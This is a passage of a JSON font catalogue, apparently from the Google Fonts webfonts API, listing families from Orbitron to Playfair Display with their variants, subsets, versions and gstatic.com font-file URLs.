        "regular": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyGy6xpmIyXjU1pg.ttf",
        "500": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyKS6xpmIyXjU1pg.ttf",
        "600": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyxSmxpmIyXjU1pg.ttf",
        "700": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1ny_CmxpmIyXjU1pg.ttf",
        "800": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nymymxpmIyXjU1pg.ttf",
        "900": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nysimxpmIyXjU1pg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Oregano",
      "category": "display",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/oregano/v7/If2IXTPxciS3H4S2kZffPznO3yM.ttf",
        "italic": "http://fonts.gstatic.com/s/oregano/v7/If2KXTPxciS3H4S2oZXVOxvLzyP_qw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Orienta",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/orienta/v7/PlI9FlK4Jrl5Y9zNeyeo9HRFhcU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Original Surfer",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/originalsurfer/v8/RWmQoKGZ9vIirYntXJ3_MbekzNMiDEtvAlaMKw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Oswald",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v31",
      "lastModified": "2020-03-03",
      "files": {
        "200": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs13FvgUFoZAaRliE.ttf",
        "300": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs169vgUFoZAaRliE.ttf",
        "regular": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs1_FvgUFoZAaRliE.ttf",
        "500": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs18NvgUFoZAaRliE.ttf",
        "600": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs1y9ogUFoZAaRliE.ttf",
        "700": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs1xZogUFoZAaRliE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Over the Rainbow",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/overtherainbow/v10/11haGoXG1k_HKhMLUWz7Mc7vvW5upvOm9NA2XG0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Overlock",
      "category": "display",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/overlock/v9/Z9XVDmdMWRiN1_T9Z4Te4u2El6GC.ttf",
        "italic": "http://fonts.gstatic.com/s/overlock/v9/Z9XTDmdMWRiN1_T9Z7Tc6OmmkrGC7Cs.ttf",
        "700": "http://fonts.gstatic.com/s/overlock/v9/Z9XSDmdMWRiN1_T9Z7xizcmMvL2L9TLT.ttf",
        "700italic": "http://fonts.gstatic.com/s/overlock/v9/Z9XQDmdMWRiN1_T9Z7Tc0FWJtrmp8CLTlNs.ttf",
        "900": "http://fonts.gstatic.com/s/overlock/v9/Z9XSDmdMWRiN1_T9Z7xaz8mMvL2L9TLT.ttf",
        "900italic": "http://fonts.gstatic.com/s/overlock/v9/Z9XQDmdMWRiN1_T9Z7Tc0G2Ltrmp8CLTlNs.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Overlock SC",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/overlocksc/v8/1cX3aUHKGZrstGAY8nwVzHGAq8Sk1PoH.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Overpass",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-17",
      "files": {
        "100": "http://fonts.gstatic.com/s/overpass/v4/qFdB35WCmI96Ajtm81nGU97gxhcJk1s.ttf",
        "100italic": "http://fonts.gstatic.com/s/overpass/v4/qFdD35WCmI96Ajtm81Gga7rqwjUMg1siNQ.ttf",
        "200": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81lqcv7K6BsAikI7.ttf",
        "200italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81GgaxbL4h8ij1I7LLE.ttf",
        "300": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81kOcf7K6BsAikI7.ttf",
        "300italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81Gga3LI4h8ij1I7LLE.ttf",
        "regular": "http://fonts.gstatic.com/s/overpass/v4/qFdH35WCmI96Ajtm82GiWdrCwwcJ.ttf",
        "italic": "http://fonts.gstatic.com/s/overpass/v4/qFdB35WCmI96Ajtm81GgU97gxhcJk1s.ttf",
        "600": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81l6d_7K6BsAikI7.ttf",
        "600italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81GgawbO4h8ij1I7LLE.ttf",
        "700": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81kedv7K6BsAikI7.ttf",
        "700italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81Gga2LP4h8ij1I7LLE.ttf",
        "800": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81kCdf7K6BsAikI7.ttf",
        "800italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81Gga37M4h8ij1I7LLE.ttf",
        "900": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81kmdP7K6BsAikI7.ttf",
        "900italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81Gga1rN4h8ij1I7LLE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Overpass Mono",
      "category": "monospace",
      "variants": [
        "300",
        "regular",
        "600",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/overpassmono/v5/_Xm3-H86tzKDdAPa-KPQZ-AC3oSWk_edB3Zf8EQ.ttf",
        "regular": "http://fonts.gstatic.com/s/overpassmono/v5/_Xmq-H86tzKDdAPa-KPQZ-AC5ii-t_-2G38.ttf",
        "600": "http://fonts.gstatic.com/s/overpassmono/v5/_Xm3-H86tzKDdAPa-KPQZ-AC3vCQk_edB3Zf8EQ.ttf",
        "700": "http://fonts.gstatic.com/s/overpassmono/v5/_Xm3-H86tzKDdAPa-KPQZ-AC3pSRk_edB3Zf8EQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ovo",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ovo/v11/yYLl0h7Wyfzjy4Q5_3WVxA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Oxanium",
      "category": "display",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "200": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc63l9Lhqa48pA8w.ttf",
        "300": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc8nm9Lhqa48pA8w.ttf",
        "regular": "http://fonts.gstatic.com/s/oxanium/v1/RrQQboN_4yJ0JmiMS2XO0LBBd4Y.ttf",
        "500": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc5Hn9Lhqa48pA8w.ttf",
        "600": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc73g9Lhqa48pA8w.ttf",
        "700": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc9nh9Lhqa48pA8w.ttf",
        "800": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc8Xi9Lhqa48pA8w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Oxygen",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-22",
      "files": {
        "300": "http://fonts.gstatic.com/s/oxygen/v9/2sDcZG1Wl4LcnbuCJW8Db2-4C7wFZQ.ttf",
        "regular": "http://fonts.gstatic.com/s/oxygen/v9/2sDfZG1Wl4Lcnbu6iUcnZ0SkAg.ttf",
        "700": "http://fonts.gstatic.com/s/oxygen/v9/2sDcZG1Wl4LcnbuCNWgDb2-4C7wFZQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Oxygen Mono",
      "category": "monospace",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/oxygenmono/v7/h0GsssGg9FxgDgCjLeAd7ijfze-PPlUu.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "PT Mono",
      "category": "monospace",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ptmono/v7/9oRONYoBnWILk-9ArCg5MtPyAcg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "PT Sans",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-22",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ptsans/v11/jizaRExUiTo99u79P0WOxOGMMDQ.ttf",
        "italic": "http://fonts.gstatic.com/s/ptsans/v11/jizYRExUiTo99u79D0eEwMOJIDQA-g.ttf",
        "700": "http://fonts.gstatic.com/s/ptsans/v11/jizfRExUiTo99u79B_mh4OmnLD0Z4zM.ttf",
        "700italic": "http://fonts.gstatic.com/s/ptsans/v11/jizdRExUiTo99u79D0e8fOytKB8c8zMrig.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "PT Sans Caption",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ptsanscaption/v12/0FlMVP6Hrxmt7-fsUFhlFXNIlpcqfQXwQy6yxg.ttf",
        "700": "http://fonts.gstatic.com/s/ptsanscaption/v12/0FlJVP6Hrxmt7-fsUFhlFXNIlpcSwSrUSwWuz38Tgg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "PT Sans Narrow",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-22",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ptsansnarrow/v11/BngRUXNadjH0qYEzV7ab-oWlsYCByxyKeuDp.ttf",
        "700": "http://fonts.gstatic.com/s/ptsansnarrow/v11/BngSUXNadjH0qYEzV7ab-oWlsbg95DiCUfzgRd-3.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "PT Serif",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-22",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ptserif/v11/EJRVQgYoZZY2vCFuvDFRxL6ddjb-.ttf",
        "italic": "http://fonts.gstatic.com/s/ptserif/v11/EJRTQgYoZZY2vCFuvAFTzrq_cyb-vco.ttf",
        "700": "http://fonts.gstatic.com/s/ptserif/v11/EJRSQgYoZZY2vCFuvAnt65qVXSr3pNNB.ttf",
        "700italic": "http://fonts.gstatic.com/s/ptserif/v11/EJRQQgYoZZY2vCFuvAFT9gaQVy7VocNB6Iw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "PT Serif Caption",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ptserifcaption/v11/ieVl2ZhbGCW-JoW6S34pSDpqYKU059WxDCs5cvI.ttf",
        "italic": "http://fonts.gstatic.com/s/ptserifcaption/v11/ieVj2ZhbGCW-JoW6S34pSDpqYKU019e7CAk8YvJEeg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Pacifico",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v16",
      "lastModified": "2019-09-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/pacifico/v16/FwZY7-Qmy14u9lezJ96A4sijpFu_.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Padauk",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "myanmar",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/padauk/v6/RrQRboJg-id7OnbBa0_g3LlYbg.ttf",
        "700": "http://fonts.gstatic.com/s/padauk/v6/RrQSboJg-id7Onb512DE1JJEZ4YwGg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Palanquin",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/palanquin/v5/9XUhlJ90n1fBFg7ceXwUEltI7rWmZzTH.ttf",
        "200": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwUvnpoxJuqbi3ezg.ttf",
        "300": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwU2nloxJuqbi3ezg.ttf",
        "regular": "http://fonts.gstatic.com/s/palanquin/v5/9XUnlJ90n1fBFg7ceXwsdlFMzLC2Zw.ttf",
        "500": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwUgnhoxJuqbi3ezg.ttf",
        "600": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwUrn9oxJuqbi3ezg.ttf",
        "700": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwUyn5oxJuqbi3ezg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Palanquin Dark",
      "category": "sans-serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/palanquindark/v6/xn75YHgl1nqmANMB-26xC7yuF_6OTEo9VtfE.ttf",
        "500": "http://fonts.gstatic.com/s/palanquindark/v6/xn76YHgl1nqmANMB-26xC7yuF8Z6ZW41fcvN2KT4.ttf",
        "600": "http://fonts.gstatic.com/s/palanquindark/v6/xn76YHgl1nqmANMB-26xC7yuF8ZWYm41fcvN2KT4.ttf",
        "700": "http://fonts.gstatic.com/s/palanquindark/v6/xn76YHgl1nqmANMB-26xC7yuF8YyY241fcvN2KT4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Pangolin",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/pangolin/v5/cY9GfjGcW0FPpi-tWPfK5d3aiLBG.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Paprika",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/paprika/v7/8QIJdijZitv49rDfuIgOq7jkAOw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Parisienne",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/parisienne/v7/E21i_d3kivvAkxhLEVZpcy96DuKuavM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Passero One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/passeroone/v11/JTUTjIko8DOq5FeaeEAjgE5B5Arr-s50.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Passion One",
      "category": "display",
      "variants": [
        "regular",
        "700",
        "900"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/passionone/v10/PbynFmL8HhTPqbjUzux3JHuW_Frg6YoV.ttf",
        "700": "http://fonts.gstatic.com/s/passionone/v10/Pby6FmL8HhTPqbjUzux3JEMq037owpYcuH8y.ttf",
        "900": "http://fonts.gstatic.com/s/passionone/v10/Pby6FmL8HhTPqbjUzux3JEMS0X7owpYcuH8y.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Pathway Gothic One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/pathwaygothicone/v8/MwQrbgD32-KAvjkYGNUUxAtW7pEBwx-dTFxeb80flQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Patrick Hand",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/patrickhand/v13/LDI1apSQOAYtSuYWp8ZhfYeMWcjKm7sp8g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Patrick Hand SC",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/patrickhandsc/v7/0nkwC9f7MfsBiWcLtY65AWDK873ViSi6JQc7Vg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Pattaya",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/pattaya/v5/ea8ZadcqV_zkHY-XNdCn92ZEmVs.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Patua One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/patuaone/v10/ZXuke1cDvLCKLDcimxBI5PNvNA9LuA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Pavanam",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "tamil",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/pavanam/v4/BXRrvF_aiezLh0xPDOtQ9Wf0QcE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Paytone One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/paytoneone/v12/0nksC9P7MfYHj2oFtYm2CiTqivr9iBq_.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Peddana",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/peddana/v7/aFTU7PBhaX89UcKWhh2aBYyMcKw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Peralta",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/peralta/v7/hYkJPu0-RP_9d3kRGxAhrv956B8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Permanent Marker",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/permanentmarker/v9/Fh4uPib9Iyv2ucM6pGQMWimMp004HaqIfrT5nlk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Petit Formal Script",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/petitformalscript/v7/B50TF6xQr2TXJBnGOFME6u5OR83oRP5qoHnqP4gZSiE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Petrona",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/petrona/v8/mtG64_NXL7bZo9XXsXVStGsRwCU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Philosopher",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2020-01-30",
      "files": {
        "regular": "http://fonts.gstatic.com/s/philosopher/v12/vEFV2_5QCwIS4_Dhez5jcVBpRUwU08qe.ttf",
        "italic": "http://fonts.gstatic.com/s/philosopher/v12/vEFX2_5QCwIS4_Dhez5jcWBrT0g21tqeR7c.ttf",
        "700": "http://fonts.gstatic.com/s/philosopher/v12/vEFI2_5QCwIS4_Dhez5jcWjVamgc-NaXXq7H.ttf",
        "700italic": "http://fonts.gstatic.com/s/philosopher/v12/vEFK2_5QCwIS4_Dhez5jcWBrd_QZ8tK1W77HtMo.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Piedra",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/piedra/v8/ke8kOg8aN0Bn7hTunEyHN_M3gA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Pinyon Script",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/pinyonscript/v9/6xKpdSJbL9-e9LuoeQiDRQR8aOLQO4bhiDY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Pirata One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/pirataone/v8/I_urMpiDvgLdLh0fAtoftiiEr5_BdZ8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Plaster",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/plaster/v11/DdTm79QatW80eRh4Ei5JOtLOeLI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Play",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/play/v11/6aez4K2oVqwIjtI8Hp8Tx3A.ttf",
        "700": "http://fonts.gstatic.com/s/play/v11/6ae84K2oVqwItm4TOpc423nTJTM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Playball",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/playball/v9/TK3gWksYAxQ7jbsKcj8Dl-tPKo2t.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Playfair Display",
      "category": "serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900",
        "italic",
        "500italic",
        "600italic",
        "700italic",
        "800italic",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v20",
      "lastModified": "2020-02-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKdFvUDQZNLo_U2r.ttf",
        "500": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKd3vUDQZNLo_U2r.ttf",
        "600": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKebukDQZNLo_U2r.ttf",
        "700": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKeiukDQZNLo_U2r.ttf",
        "800": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKfFukDQZNLo_U2r.ttf",
        "900": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKfsukDQZNLo_U2r.ttf",
        "italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_qiTbtbK-F2rA0s.ttf",
